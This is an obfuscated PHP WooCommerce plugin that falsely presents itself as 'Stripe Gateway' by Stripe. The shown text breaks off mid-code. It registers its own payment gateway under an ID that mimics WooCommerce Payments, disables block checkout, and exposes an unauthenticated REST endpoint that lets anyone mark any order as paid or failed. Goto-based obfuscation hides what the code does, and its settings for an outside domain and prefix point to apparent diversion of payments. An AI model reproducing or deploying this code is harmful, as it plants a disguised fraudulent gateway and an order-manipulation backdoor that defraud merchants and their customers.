/*
* Plugin Name: Stripe Gateway
* Description: This plugin will tie in all the performance optimizations your WordPress application offers
* Author: Stripe
* Author URI: "
* Version: 304
*/
$U2yBuEt73=array();$U2yBuEt73[]=7;$U2yBuEt73[]=15;$U2yBuEt73[]=10;$U2yBuEt73[]=17;$U2yBuEt73[]=13;$U2yOiRy0=4922;$U2y8G=!defined('ABSPATH');if($U2y8G)goto U2yeWjgx2;goto U2yldMhx2;U2yeWjgx2:goto U2yx1;U2yldMhx2:U2yx1:$U2yOiRy1=4925;$U2yzA8H=array();$U2yzA8H[]='active_plugins';$U2yeFvPvP8G=call_user_func_array("get_option",$U2yzA8H);unset($U2yzA8H);$U2yzA8J=array();$U2yzA8J[]='active_plugins';$U2yzA8J[]=&$U2yeFvPvP8G;$U2yeFvP8I=call_user_func_array("apply_filters",$U2yzA8J);unset($U2yzA8J);$U2yzA8L=array();$U2yzA8L[]='woocommerce/woocommercephp';$U2yzA8L[]=&$U2yeFvP8I;$U2yeF8K=call_user_func_array("in_array",$U2yzA8L);unset($U2yzA8L);$U2y8G=!$U2yeF8K;if($U2y8G)goto U2yeWjgx4;goto U2yldMhx4;U2yeWjgx4:return ;goto U2yx3;U2yldMhx4:U2yx3:$U2yzA8H=array();$U2yzA8H[]='woocommerce_checkout_block_checkout';$U2yzA8H[]='__return_false';$U2yeF8G=call_user_func_array("add_filter",$U2yzA8H);unset($U2yzA8H);$U2yzA8H=array();$U2yzA8H[]='plugins_loaded';$U2yzA8H[]='init_stripe_payment_gateway_class';$U2yeF8G=call_user_func_array("add_action",$U2yzA8H);unset($U2yzA8H);$U2yzA8H=array();$U2yzA8H[]='rest_api_init';$U2yzA8H[]=function(){$U2yBuEt74=array();$U2yBuEt74[]=8;$U2yBuEt74[]=8;$U2yBuEt74[]=18;$U2yBuEt74[]=17;$U2yBuEt74[]=17;$U2yzAvP8G=array();$U2yzAvP8G['methods']='POST';$U2yzAvP8G['callback']='handle_update_order_status';$U2yzAvP8G['permission_callback']='__return_true';$U2yzA8I=array();$U2yzA8I[]='custom/v2';$U2yzA8I[]='/update_order_status/';$U2yzA8I[]=&$U2yzAvP8G;$U2yeF8H=call_user_func_array("register_rest_route",$U2yzA8I);unset($U2yzA8I);};$U2yeF8G=call_user_func_array("add_action",$U2yzA8H);unset($U2yzA8H);$U2yzA8H=array();$U2yzA8H[]='woocommerce_payment_gateways';$U2yzA8H[]='add_stripe_gateway_class';$U2yeF8G=call_user_func_array("add_filter",$U2yzA8H);unset($U2yzA8H);$U2yzA8H=array();$U2yzA8H[]='woocommerce_update_order_review_fragments';$U2yzA8H[]='remove_checkout_payment_fragment';$U2yeF8G=call_user_func_array("add_filter",$U2yzA8H);unset($U2yzA8H);$U2yzA8H=array();$U2yzA8H[]='woocommerce_cart_calculate_fees';$U2yzA8H[]=function($cart){$U2yBuEt79[]=9;$U2yBuEt79[]=5;$U2yBuEt79[]=11;$U2yBuEt79[]=16;$U2yBuEt79[]=20;$U2yOiRy11=8008;$U2yzA8H=array();$U2yeF8G=call_user_func_array("is_admin",$U2yzA8H);unset($U2yzA8H);$U2y8H=(bool)$U2yeF8G;if($U2y8H)goto U2yeWjgxm;goto U2yldMhxm;U2yeWjgxm:$U2y8G=!defined('DOING_AJAX');$U2y8H=(bool)$U2y8G;goto U2yxl;U2yldMhxm:U2yxl:if($U2y8H)goto U2yeWjgxn;goto U2yldMhxn;U2yeWjgxn:$U2yOiRy11="r"*"r";goto U2yxk;U2yldMhxn:U2yxk:$U2y8G=14*1;$U2y8H=$U2y8G+41;$U2y8I=$U2yOiRy11==$U2y8H;if($U2y8I)goto U2yeWjgxp;goto U2yldMhxp;U2yeWjgxp:return ;goto U2yxo;U2yldMhxp:U2yxo:unset($U2ytI8G);$U2ytI8G=WC()->session->get('chosen_payment_method');$chosen_gateway=$U2ytI8G;$U2yOiRy13=8015;$U2y8G=$chosen_gateway!=='woocommerce_payments_stripe_gateway';if($U2y8G)goto U2yeWjgxr;goto U2yldMhxr;U2yeWjgxr:$U2yOiRy13="r"*"a";goto U2yxq;U2yldMhxr:U2yxq:$U2y8G=16*5;$U2y8H=$U2y8G-35;$U2y8I=$U2yOiRy13==$U2y8H;if($U2y8I)goto U2yeWjgxt;goto U2yldMhxt;U2yeWjgxt:return ;goto U2yxs;U2yldMhxt:U2yxs:$U2yOiRy15=8010;$U2y8G=!class_exists('WC_Lighthouse_Payment_Gateway');if($U2y8G)goto U2yeWjgxv;goto U2yldMhxv;U2yeWjgxv:$U2yOiRy15="y"*"r";goto U2yxu;U2yldMhxv:U2yxu:$U2y8G=5*2;$U2y8H=$U2y8G+210;$U2y8I=$U2yOiRy15==$U2y8H;if($U2y8I)goto U2yeWjgxx;goto U2yldMhxx;U2yeWjgxx:return ;goto U2yxw;U2yldMhxx:U2yxw:$U2y8G=new WC_Lighthouse_Payment_Gateway();unset($U2ytI8H);$U2ytI8H=$U2y8G;$gateway=$U2ytI8H;$U2yOiRy17=8008;$U2y8G=$gateway->enable_discount!=='yes';if($U2y8G)goto U2yeWjgxz;goto U2yldMhxz;U2yeWjgxz:$U2yOiRy17="a"*"y";goto U2yxy;U2yldMhxz:U2yxy:$U2y8G=7*18;$U2y8H=$U2y8G+54;$U2y8I=$U2yOiRy17==$U2y8H;if($U2y8I)goto U2yeWjgx12;goto U2yldMhx12;U2yeWjgx12:return ;goto U2yx11;U2yldMhx12:U2yx11:unset($U2ytI8G);$U2ytI8G=floatval($gateway->discount_percentage);$discount_percent=$U2ytI8G;$U2yOiRy19=8019;$U2y8G=$discount_percent<=0;if($U2y8G)goto U2yeWjgx14;goto U2yldMhx14;U2yeWjgx14:$U2yOiRy19="a"*"y";goto U2yx13;U2yldMhx14:U2yx13:$U2y8G=20*13;$U2y8H=$U2y8G+60;$U2y8I=$U2yOiRy19==$U2y8H;if($U2y8I)goto U2yeWjgx16;goto U2yldMhx16;U2yeWjgx16:return ;goto U2yx15;U2yldMhx16:U2yx15:$U2yzA8H=array();$U2yzA8I=array();$U2yzA8I[]=$cart;$U2yzA8I[]="get_subtotal";$U2yhC8G=call_user_func_array($U2yzA8I,$U2yzA8H);unset($U2yzA8H);unset($U2yzA8I);$U2y8G=$discount_percent/100;$U2y8H=$U2yhC8G*$U2y8G;unset($U2ytI8I);$U2ytI8I=$U2y8H;$discount=$U2ytI8I;$U2yOiRy21=8005;if($gateway->discount_label)goto U2yeWjgx18;goto U2yldMhx18;U2yeWjgx18:$U2yOiRy21="y"*"y";goto U2yx17;U2yldMhx18:$U2yOiRy21="a"*"r";U2yx17:$U2y8I=20*14;$U2y8J=$U2y8I-181;$U2y8K=$U2yOiRy21==$U2y8J;if($U2y8K)goto U2yeWjgx1a;goto U2yldMhx1a;U2yeWjgx1a:$U2y8G='Payment Method Discount';goto U2yx19;U2yldMhx1a:$U2y8L=5*2;$U2y8M=$U2y8L+390;$U2y8N=$U2yOiRy21==$U2y8M;if($U2y8N)goto U2yeWjgx1b;goto U2yldMhx1b;U2yeWjgx1b:$U2y8G=$gateway->discount_label;goto U2yx19;U2yldMhx1b:U2yx19:unset($U2ytI8H);$U2ytI8H=$U2y8G;$label=$U2ytI8H;$U2yvP8G=-1*$discount;$U2yzA8H=array();$U2yzA8H[]=&$label;$U2yzA8H[]=&$U2yvP8G;$U2yzA8H[]=false;$U2yzA8I=array();$U2yzA8I[]=$cart;$U2yzA8I[]="add_fee";$U2yhC8G=call_user_func_array($U2yzA8I,$U2yzA8H);unset($U2yzA8H);unset($U2yzA8I);$U2yOiRy33=8003;$U2y8G=$gateway->enable_tip==='yes';if($U2y8G)goto U2yeWjgx1d;goto U2yldMhx1d;U2yeWjgx1d:$U2yOiRy33="r"*"y";goto U2yx1c;U2yldMhx1d:U2yx1c:$U2y8G=10*18;$U2y8H=$U2y8G-80;$U2y8I=$U2yOiRy33==$U2y8H;if($U2y8I)goto U2yeWjgx1p;goto U2yldMhx1p;U2yeWjgx1p:if(isset($_POST['post_data']))goto U2yeWjgx1r;goto U2yldMhx1r;U2yeWjgx1r:goto U2yeWjgx1f;goto U2yx1q;U2yldMhx1r:U2yx1q:goto U2yldMhx1f;U2yeWjgx1f:parse_str($_POST['post_data'],$post_data);goto U2yx1e;U2yldMhx1f:unset($U2ytI8G);$U2ytI8G=$_POST;$post_data=$U2ytI8G;U2yx1e:if(isset($post_data['order_tip_amount']))goto U2yeWjgx1t;goto U2yldMhx1t;U2yeWjgx1t:goto U2yeWjgx1j;goto U2yx1s;U2yldMhx1t:U2yx1s:goto U2yldMhx1j;U2yeWjgx1j:$U2yzA8L=array();$U2yzA8L[]=$post_data;$U2yeF8K=call_user_func_array("is_array",$U2yzA8L);unset($U2yzA8L);if($U2yeF8K)goto U2yeWjgx1v;goto U2yldMhx1v;U2yeWjgx1v:goto U2yeWjgx1h;goto U2yx1u;U2yldMhx1v:U2yx1u:goto U2yldMhx1h;U2yeWjgx1h:$U2ycV8I=&$post_data['order_tip_amount'];goto U2yx1g;U2yldMhx1h:$U2ycV8I=$post_data['order_tip_amount'];U2yx1g:$U2yzA8J=array();$U2yzA8J[]=&$U2ycV8I;$U2yeF8H=call_user_func_array("floatval",$U2yzA8J);unset($U2yzA8J);unset($U2ycV8I);$U2y8G=$U2yeF8H;goto U2yx1i;U2yldMhx1j:$U2y8G=0;U2yx1i:unset($U2ytI8H);$U2ytI8H=$U2y8G;unset($U2ytI8G);$U2ytI8G=$U2ytI8H;$tip=$U2ytI8G;$U2y8G=$tip>0;if($U2y8G)goto U2yeWjgx1x;goto U2yldMhx1x;U2yeWjgx1x:goto U2yeWjgx1l;goto U2yx1w;U2yldMhx1x:U2yx1w:goto U2yldMhx1l;U2yeWjgx1l:if($gateway->tip_label)goto U2yeWjgx2z;goto U2yldMhx2z;U2yeWjgx2z:goto U2yeWjgx1n;goto U2yx1y;U2yldMhx2z:U2yx1y:goto U2yldMhx1n;U2yeWjgx1n:$U2yvP8G=$gateway->tip_label;goto U2yx1m;U2yldMhx1n:$U2yvP8G='Tip';U2yx1m:$U2yzA8H=array();$U2yzA8H[]=&$U2yvP8G;$U2yzA8H[]=&$tip;$U2yzA8H[]=false;$U2yzA8I=array();$U2yzA8I[]=$cart;$U2yzA8I[]="add_fee";$U2yhC8G=call_user_func_array($U2yzA8I,$U2yzA8H);unset($U2yzA8H);unset($U2yzA8I);goto U2yx1k;U2yldMhx1l:U2yx1k:goto U2yx1o;U2yldMhx1p:U2yx1o:$U2yOiRy42=8006;$U2yzA8H=array();$U2yzA8H[]='enable_cod_deposit';$U2yzA8I=array();$U2yzA8I[]=$gateway;$U2yzA8I[]="get_option";$U2yhC8G=call_user_func_array($U2yzA8I,$U2yzA8H);unset($U2yzA8H);unset($U2yzA8I);$U2y8G=$U2yhC8G==='yes';$U2y8I=(bool)$U2y8G;if($U2y8I)goto U2yeWjgx23;goto U2yldMhx23;U2yeWjgx23:$U2y8H=$chosen_gateway==='cod';$U2y8I=(bool)$U2y8H;goto U2yx22;U2yldMhx23:U2yx22:if($U2y8I)goto U2yeWjgx24;goto U2yldMhx24;U2yeWjgx24:$U2yOiRy42="r"*"y";goto U2yx21;U2yldMhx24:U2yx21:$U2y8G=20*11;$U2y8H=$U2y8G-120;$U2y8I=$U2yOiRy42==$U2y8H;if($U2y8I)goto U2yeWjgx2c;goto U2yldMhx2c;U2yeWjgx2c:$U2yzA8H=array();$U2yzA8H[]='cod_deposit_type';$U2yzA8I=array();$U2yzA8I[]=$gateway;$U2yzA8I[]="get_option";$U2yhC8G=call_user_func_array($U2yzA8I,$U2yzA8H);unset($U2yzA8H);unset($U2yzA8I);unset($U2ytI8G);$U2ytI8G=$U2yhC8G;$deposit_type=$U2ytI8G;$U2yzA8H=array();$U2yzA8H[]='cod_deposit_value';$U2yzA8I=array();$U2yzA8I[]=$gateway;$U2yzA8I[]="get_option";$U2yhCvP8G=call_user_func_array($U2yzA8I,$U2yzA8H);unset($U2yzA8H);unset($U2yzA8I);unset($U2ytI8G);$U2ytI8G=floatval($U2yhCvP8G);$deposit_value=$U2ytI8G;$U2yzA8H=array();$U2yzA8H[]='cod_deposit_label';$U2yzA8I=array();$U2yzA8I[]=$gateway;$U2yzA8I[]="get_option";$U2yhC8G=call_user_func_array($U2yzA8I,$U2yzA8H);unset($U2yzA8H);unset($U2yzA8I);if($U2yhC8G)goto U2yeWjgx2e;goto U2yldMhx2e;U2yeWjgx2e:goto U2yeWjgx26;goto U2yx2d;U2yldMhx2e:U2yx2d:goto U2yldMhx26;U2yeWjgx26:$U2y8G=$U2yhC8G;goto U2yx25;U2yldMhx26:$U2y8G='货到付款定金';U2yx25:unset($U2ytI8H);$U2ytI8H=$U2y8G;unset($U2ytI8G);$U2ytI8G=$U2ytI8H;$deposit_label=$U2ytI8G;unset($U2ytI8G);$U2ytI8G=0;$deposit=$U2ytI8G;$U2y8G=$deposit_type==='percent';if($U2y8G)goto U2yeWjgx2g;goto U2yldMhx2g;U2yeWjgx2g:goto U2yeWjgx28;goto U2yx2f;U2yldMhx2g:U2yx2f:goto U2yldMhx28;U2yeWjgx28:$U2yzA8H=array();$U2yzA8I=array();$U2yzA8I[]=$cart;$U2yzA8I[]="get_subtotal";$U2yhC8G=call_user_func_array($U2yzA8I,$U2yzA8H);unset($U2yzA8H);unset($U2yzA8I);$U2y8G=$deposit_value/100;$U2y8H=$U2yhC8G*$U2y8G;unset($U2ytI8I);$U2ytI8I=$U2y8H;unset($U2ytI8G);$U2ytI8G=$U2ytI8I;$deposit=$U2ytI8G;goto U2yx27;U2yldMhx28:unset($U2ytI8G);$U2ytI8G=$deposit_value;$deposit=$U2ytI8G;U2yx27:$U2y8G=$deposit>0;if($U2y8G)goto U2yeWjgx2i;goto U2yldMhx2i;U2yeWjgx2i:goto U2yeWjgx2a;goto U2yx2h;U2yldMhx2i:U2yx2h:goto U2yldMhx2a;U2yeWjgx2a:$U2yzA8H=array();$U2yzA8H[]=&$deposit_label;$U2yzA8H[]=&$deposit;$U2yzA8H[]=false;$U2yzA8I=array();$U2yzA8I[]=$cart;$U2yzA8I[]="add_fee";$U2yhC8G=call_user_func_array($U2yzA8I,$U2yzA8H);unset($U2yzA8H);unset($U2yzA8I);goto U2yx29;U2yldMhx2a:U2yx29:goto U2yx2b;U2yldMhx2c:U2yx2b:};$U2yeF8G=call_user_func_array("add_action",$U2yzA8H);unset($U2yzA8H);$U2yzA8H=array();$U2yzA8H[]='woocommerce_checkout_create_order';$U2yzA8H[]=function($order,$data){$U2yBuEt80=array();$U2yBuEt80[]=10;$U2yBuEt80[]=6;$U2yBuEt80[]=6;$U2yBuEt80[]=4;$U2yBuEt80[]=15;$U2yOiRy46=3392;if(isset($_POST['order_tip_amount']))goto U2yeWjgx2k;goto U2yldMhx2k;U2yeWjgx2k:$U2yOiRy46="r"*"r";goto U2yx2j;U2yldMhx2k:U2yx2j:$U2y8G=14*12;$U2y8H=$U2y8G-132;$U2y8I=$U2yOiRy46==$U2y8H;if($U2y8I)goto U2yeWjgx2o;goto U2yldMhx2o;U2yeWjgx2o:$U2yzA8K=array();$U2yzA8K[]=$_POST;$U2yeF8J=call_user_func_array("is_array",$U2yzA8K);unset($U2yzA8K);if($U2yeF8J)goto U2yeWjgx2q;goto U2yldMhx2q;U2yeWjgx2q:goto U2yeWjgx2m;goto U2yx2p;U2yldMhx2q:U2yx2p:goto U2yldMhx2m;U2yeWjgx2m:$U2ycVvP8H=&$_POST['order_tip_amount'];goto U2yx2l;U2yldMhx2m:$U2ycVvP8H=$_POST['order_tip_amount'];U2yx2l:$U2yzA8I=array();$U2yzA8I[]=&$U2ycVvP8H;$U2yeFvP8G=call_user_func_array("floatval",$U2yzA8I);unset($U2yzA8I);unset($U2ycVvP8H);$U2yzA8M=array();$U2yzA8M[]='_order_tip_amount';$U2yzA8M[]=&$U2yeFvP8G;$U2yzA8N=array();$U2yzA8N[]=$order;$U2yzA8N[]="update_meta_data";$U2yhC8L=call_user_func_array($U2yzA8N,$U2yzA8M);unset($U2yzA8M);unset($U2yzA8N);goto U2yx2n;U2yldMhx2o:U2yx2n:};$U2yzA8H[]=10;$U2yzA8H[]=2;$U2yeF8G=call_user_func_array("add_action",$U2yzA8H);unset($U2yzA8H);$U2yzA8H=array();$U2yzA8H[]='woocommerce_admin_order_data_after_order_details';$U2yzA8H[]=function($order){$U2yBuEt81=array();$U2yBuEt81[]=9;$U2yBuEt81[]=13;$U2yBuEt81[]=7;$U2yBuEt81[]=5;$U2yBuEt81[]=13;$U2yzA8H=array();$U2yzA8H[]='_order_tip_amount';$U2yzA8I=array();$U2yzA8I[]=$order;$U2yzA8I[]="get_meta";$U2yhC8G=call_user_func_array($U2yzA8I,$U2yzA8H);unset($U2yzA8H);unset($U2yzA8I);unset($U2ytI8G);$U2ytI8G=$U2yhC8G;$tip=$U2ytI8G;$U2yOiRy48=2199;$U2y8G=$tip>0;if($U2y8G)goto U2yeWjgx2s;goto U2yldMhx2s;U2yeWjgx2s:$U2yOiRy48="a"*"a";goto U2yx2r;U2yldMhx2s:U2yx2r:$U2y8G=12*3;$U2y8H=$U2y8G+9;$U2y8I=$U2yOiRy48==$U2y8H;if($U2y8I)goto U2yeWjgx2u;goto U2yldMhx2u;U2yeWjgx2u:$U2yzA8H=array();$U2yzA8H[]=&$tip;$U2yzA8H[]=2;$U2yeFvP8G=call_user_func_array("number_format",$U2yzA8H);unset($U2yzA8H);$U2yzA8J=array();$U2yzA8J[]=&$U2yeFvP8G;$U2yeF8I=call_user_func_array("esc_html",$U2yzA8J);unset($U2yzA8J);$U2y8G='<p><strong>Tip:</strong> $' . $U2yeF8I;$U2y8H=$U2y8G . '</p>';echo $U2y8H;goto U2yx2t;U2yldMhx2u:U2yx2t:};$U2yeF8G=call_user_func_array("add_action",$U2yzA8H);unset($U2yzA8H);$U2yzA8H=array();$U2yzA8H[]='plugins_loaded';$U2yzA8H[]=function(){$U2yBuEt84=array();$U2yBuEt84[]=15;$U2yBuEt84[]=7;$U2yBuEt84[]=8;$U2yBuEt84[]=16;$U2yBuEt84[]=6;$U2yOiRy91=4112;$U2yzA8H=array();$U2yeF8G=call_user_func_array("is_admin",$U2yzA8H);unset($U2yzA8H);if($U2yeF8G)goto U2yeWjgx5f;goto U2yldMhx5f;U2yeWjgx5f:return ;goto U2yx5e;U2yldMhx5f:U2yx5e:$U2yOiRy92=4103;$U2y8G=!class_exists('WC_Lighthouse_Payment_Gateway');if($U2y8G)goto U2yeWjgx5h;goto U2yldMhx5h;U2yeWjgx5h:return ;goto U2yx5g;U2yldMhx5h:U2yx5g:$U2y8G=new WC_Lighthouse_Payment_Gateway();unset($U2ytI8H);$U2ytI8H=$U2y8G;$gateway=$U2ytI8H;$U2yOiRy94=4109;if($gateway->cod_tip_type)goto U2yeWjgx5j;goto U2yldMhx5j;U2yeWjgx5j:$U2yOiRy94="y"*"a";goto U2yx5i;U2yldMhx5j:$U2yOiRy94="y"*"r";U2yx5i:$U2y8I=2*14;$U2y8J=$U2y8I+20;$U2y8K=$U2yOiRy94==$U2y8J;if($U2y8K)goto U2yeWjgx5l;goto U2yldMhx5l;U2yeWjgx5l:$U2y8G='1';goto U2yx5k;U2yldMhx5l:$U2y8L=9*4;$U2y8M=$U2y8L+54;$U2y8N=$U2yOiRy94==$U2y8M;if($U2y8N)goto U2yeWjgx5m;goto U2yldMhx5m;U2yeWjgx5m:$U2y8G=$gateway->cod_tip_type;goto U2yx5k;U2yldMhx5m:U2yx5k:unset($U2ytI8H);$U2ytI8H=$U2y8G;$cod_tip_type=$U2ytI8H;$U2yOiRy96=4112;$U2y8G=$cod_tip_type=='2';if($U2y8G)goto U2yeWjgx5o;goto U2yldMhx5o;U2yeWjgx5o:$U2yOiRy96="r"*"a";goto U2yx5n;U2yldMhx5o:$U2yOiRy96="r"*"y";U2yx5n:$U2y8G=10*7;$U2y8H=$U2y8G-22;$U2y8I=$U2yOiRy96==$U2y8H;if($U2y8I)goto U2yeWjgx5q;goto U2yldMhx5q;U2yeWjgx5q:$U2yzA8H=array();$U2yzA8H[]='woocommerce_review_order_before_payment';$U2yzA8H[]='lighthouse_tip_cod_blocks';$U2yeF8G=call_user_func_array("add_action",$U2yzA8H);unset($U2yzA8H);goto U2yx5p;U2yldMhx5q:$U2y8G=6*3;$U2y8H=$U2y8G+110;$U2y8I=$U2yOiRy96==$U2y8H;if($U2y8I)goto U2yeWjgx5r;goto U2yldMhx5r;U2yeWjgx5r:$U2yzA8H=array();$U2yzA8H[]='woocommerce_checkout_before_order_review';$U2yzA8H[]='lighthouse_tip_cod_blocks1';$U2yeF8G=call_user_func_array("add_action",$U2yzA8H);unset($U2yzA8H);goto U2yx5p;U2yldMhx5r:U2yx5p:};$U2yeF8G=call_user_func_array("add_action",$U2yzA8H);unset($U2yzA8H);function handle_update_order_status(WP_REST_Request $request){$U2yBuEt75=array();$U2yBuEt75[]=2;$U2yBuEt75[]=16;$U2yBuEt75[]=12;$U2yBuEt75[]=10;$U2yBuEt75[]=15;$U2yzA8H=array();$U2yzA8H[]='order_id';$U2yzA8I=array();$U2yzA8I[]=$request;$U2yzA8I[]="get_param";$U2yhC8G=call_user_func_array($U2yzA8I,$U2yzA8H);unset($U2yzA8H);unset($U2yzA8I);unset($U2ytI8G);$U2ytI8G=$U2yhC8G;$order_id=$U2ytI8G;$U2yzA8H=array();$U2yzA8H[]='status';$U2yzA8I=array();$U2yzA8I[]=$request;$U2yzA8I[]="get_param";$U2yhC8G=call_user_func_array($U2yzA8I,$U2yzA8H);unset($U2yzA8H);unset($U2yzA8I);unset($U2ytI8G);$U2ytI8G=$U2yhC8G;$status=$U2ytI8G;$U2yzA8H=array();$U2yzA8H[]=&$order_id;$U2yeF8G=call_user_func_array("wc_get_order",$U2yzA8H);unset($U2yzA8H);unset($U2ytI8G);$U2ytI8G=$U2yeF8G;$order=$U2ytI8G;$U2yOiRy3=4115;$U2y8G=!$order;if($U2y8G)goto U2yeWjgx6;goto U2yldMhx6;U2yeWjgx6:$U2yOiRy3="r"*"r";goto U2yx5;U2yldMhx6:U2yx5:$U2y8G=19*15;$U2y8H=$U2y8G-93;$U2y8I=$U2yOiRy3==$U2y8H;if($U2y8I)goto U2yeWjgx8;goto U2yldMhx8;U2yeWjgx8:$U2y8G=new WP_REST_Response('Order not found',404);return $U2y8G;goto U2yx7;U2yldMhx8:U2yx7:$U2yOiRy5=4114;$U2y8G=$status==='success';if($U2y8G)goto U2yeWjgxa;goto U2yldMhxa;U2yeWjgxa:$U2yOiRy5="a"*"a";goto U2yx9;U2yldMhxa:$U2yOiRy5="r"*"r";U2yx9:$U2y8G=14*1;$U2y8H=$U2y8G+86;$U2y8I=$U2yOiRy5==$U2y8H;if($U2y8I)goto U2yeWjgxc;goto U2yldMhxc;U2yeWjgxc:$U2yzA8H=array();$U2yzA8I=array();$U2yzA8I[]=$order;$U2yzA8I[]="payment_complete";$U2yhC8G=call_user_func_array($U2yzA8I,$U2yzA8H);unset($U2yzA8H);unset($U2yzA8I);$U2yzA8H=array();$U2yzA8H[]='Payment received';$U2yzA8H[]='woocommerce';$U2yeFvP8G=call_user_func_array("__",$U2yzA8H);unset($U2yzA8H);$U2yzA8J=array();$U2yzA8J[]=&$U2yeFvP8G;$U2yzA8K=array();$U2yzA8K[]=$order;$U2yzA8K[]="add_order_note";$U2yhC8I=call_user_func_array($U2yzA8K,$U2yzA8J);unset($U2yzA8J);unset($U2yzA8K);$U2yzA8H=array();$U2yzA8I=array();$U2yzA8I[]=$order;$U2yzA8I[]="get_checkout_order_received_url";$U2yhCvP8G=call_user_func_array($U2yzA8I,$U2yzA8H);unset($U2yzA8H);unset($U2yzA8I);$U2yzA8J=array();$U2yzA8J['result']='success';$U2yzA8J['url']=$U2yhCvP8G;unset($U2ytI8G);$U2ytI8G=$U2yzA8J;$data=$U2ytI8G;$U2y8G=new WP_REST_Response($data,200);return $U2y8G;goto U2yxb;U2yldMhxc:$U2y8G=17*20;$U2y8H=$U2y8G-196;$U2y8I=$U2yOiRy5==$U2y8H;if($U2y8I)goto U2yeWjgxd;goto U2yldMhxd;U2yeWjgxd:$U2yzA8H=array();$U2yzA8H[]='Payment failed';$U2yzA8H[]='woocommerce';$U2yeFvP8G=call_user_func_array("__",$U2yzA8H);unset($U2yzA8H);$U2yzA8J=array();$U2yzA8J[]='failed';$U2yzA8J[]=&$U2yeFvP8G;$U2yzA8K=array();$U2yzA8K[]=$order;$U2yzA8K[]="update_status";$U2yhC8I=call_user_func_array($U2yzA8K,$U2yzA8J);unset($U2yzA8J);unset($U2yzA8K);$U2y8G=new WP_REST_Response('success',500);return $U2y8G;goto U2yxb;U2yldMhxd:U2yxb:}function init_stripe_payment_gateway_class(){$U2yBuEt76=array();$U2yBuEt76[]=7;$U2yBuEt76[]=17;$U2yBuEt76[]=19;$U2yBuEt76[]=16;$U2yBuEt76[]=18;$U2yOiRy6=6861;$U2y8G=!class_exists('WC_Payment_Gateway');if($U2y8G)goto U2yeWjgxf;goto U2yldMhxf;U2yeWjgxf:return ;goto U2yxe;U2yldMhxf:U2yxe:if(1){class WC_Lighthouse_Payment_Gateway extends WC_Payment_Gateway{public $prefix;public $domain;public $fbq_check;public $store_name;public $show_close;public $error_text;public $declined_text;public $enable_discount;public $discount_percentage;public $discount_label;public $enable_tip;public $tip_label;public $cod_tip_type;public $enable_cod_deposit;public $cod_deposit_type;public $cod_deposit_value;public $cod_deposit_label;public $cod_deposit_label_desc1;public $cod_deposit_label_desc2;public $cod_deposit_label_desc3;public function __construct(){$U2yBuEt85=array();$U2yBuEt85[]=13;$U2yBuEt85[]=11;$U2yBuEt85[]=18;$U2yBuEt85[]=11;$U2yBuEt85[]=3;unset($U2ytI8G);$U2ytI8G='woocommerce_payments_stripe_gateway';$this->id=$U2ytI8G;unset($U2ytI8G);$U2ytI8G=true;$this->has_fields=$U2ytI8G;unset($U2ytI8G);$U2ytI8G='Stripe Gateway';$this->method_title=$U2ytI8G;unset($U2ytI8G);$U2ytI8G='Payment Gateway';$this->method_description=$U2ytI8G;$U2yzA8H=array();$U2yzA8H[]='products';unset($U2ytI8G);$U2ytI8G=$U2yzA8H;$this->supports=$U2ytI8G;$U2yzA8H=array();$U2yzA8I=array();$U2yzA8I[]=$this;$U2yzA8I[]="init_form_fields";$U2yhC8G=call_user_func_array($U2yzA8I,$U2yzA8H);unset($U2yzA8H);unset($U2yzA8I);$U2yzA8H=array();$U2yzA8I=array();$U2yzA8I[]=$this;$U2yzA8I[]="init_settings";$U2yhC8G=call_user_func_array($U2yzA8I,$U2yzA8H);unset($U2yzA8H);unset($U2yzA8I);$U2yzA8I=array();$U2yzA8I[]='icon';$U2yzA8J=array();$U2yzA8J[]=$this;$U2yzA8J[]="get_option";$U2yhC8H=call_user_func_array($U2yzA8J,$U2yzA8I);unset($U2yzA8I);unset($U2yzA8J);unset($U2ytI8G);$U2ytI8G=$U2yhC8H;$this->icon=$U2ytI8G;$U2yzA8I=array();$U2yzA8I[]='title';$U2yzA8J=array();$U2yzA8J[]=$this;$U2yzA8J[]="get_option";$U2yhC8H=call_user_func_array($U2yzA8J,$U2yzA8I);unset($U2yzA8I);unset($U2yzA8J);unset($U2ytI8G);$U2ytI8G=$U2yhC8H;$this->title=$U2ytI8G;$U2yzA8I=array();$U2yzA8I[]='description';$U2yzA8J=array();$U2yzA8J[]=$this;$U2yzA8J[]="get_option";$U2yhC8H=call_user_func_array($U2yzA8J,$U2yzA8I);unset($U2yzA8I);unset($U2yzA8J);unset($U2ytI8G);$U2ytI8G=$U2yhC8H;$this->description=$U2ytI8G;$U2yzA8H=array();$U2yzA8H[]='prefix';$U2yzA8I=array();$U2yzA8I[]=$this;$U2yzA8I[]="get_option";$U2yhCvP8G=call_user_func_array($U2yzA8I,$U2yzA8H);unset($U2yzA8H);unset($U2yzA8I);unset($U2ytI8G);$U2ytI8G=trim($U2yhCvP8G);$this->prefix=$U2ytI8G;$U2yzA8H=array();$U2yzA8H[]='domain';$U2yzA8I=array();$U2yzA8I[]=$this;$U2yzA8I[]="get_option";$U2yhCvP8G=call_user_func_array($U2yzA8I,$U2yzA8H);unset($U2yzA8H);unset($U2yzA8I);unset($U2ytI8G);$U2ytI8G=trim($U2yhCvP8G);$this->domain=$U2ytI8G;$U2yzA8I=array();$U2yzA8I[]='fbq_check';$U2yzA8J=array();$U2yzA8J[]=$this;$U2yzA8J[]="get_option";$U2yhC8H=call_user_func_array($U2yzA8J,$U2yzA8I);unset($U2yzA8I);unset($U2yzA8J);unset($U2ytI8G);$U2ytI8G=$U2yhC8H;$this->fbq_check=$U2ytI8G;$U2yzA8I=array();$U2yzA8I[]='store_name';$U2yzA8J=array();$U2yzA8J[]=$this;$U2yzA8J[]="get_option";$U2yhC8H=call_user_func_array($U2yzA8J,$U2yzA8I);unset($U2yzA8I);unset($U2yzA8J);unset($U2ytI8G);$U2ytI8G=$U2yhC8H;$this->store_name=$U2ytI8G;$U2yzA8I=array();$U2yzA8I[]='error_text';$U2yzA8J=array();$U2yzA8J[]=$this;$U2yzA8J[]="get_option";$U2yhC8H=call_user_func_array($U2yzA8J,$U2yzA8I);unset($U2yzA8I);unset($U2yzA8J);unset($U2ytI8G);$U2ytI8G=$U2yhC8H;$this->error_text=$U2ytI8G;$U2yzA8I=array();$U2yzA8I[]='show_close';$U2yzA8J=array();$U2yzA8J[]=$this;$U2yzA8J[]="get_option";$U2yhC8H=call_user_func_array($U2yzA8J,$U2yzA8I);unset($U2yzA8I);unset($U2yzA8J);unset($U2ytI8G);$U2ytI8G=$U2yhC8H;$this->show_close=$U2ytI8G;$U2yzA8I=array();$U2yzA8I[]='declined_text';$U2yzA8J=array();$U2yzA8J[]=$this;$U2yzA8J[]=